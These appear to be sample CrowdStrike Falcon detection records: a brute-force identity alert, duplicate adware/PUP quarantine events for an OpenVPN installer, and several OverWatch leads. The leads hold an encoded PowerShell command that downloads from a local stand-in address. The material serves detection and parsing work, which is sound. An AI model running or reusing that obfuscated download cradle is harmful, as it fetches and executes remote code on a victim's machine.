policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"} -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"} 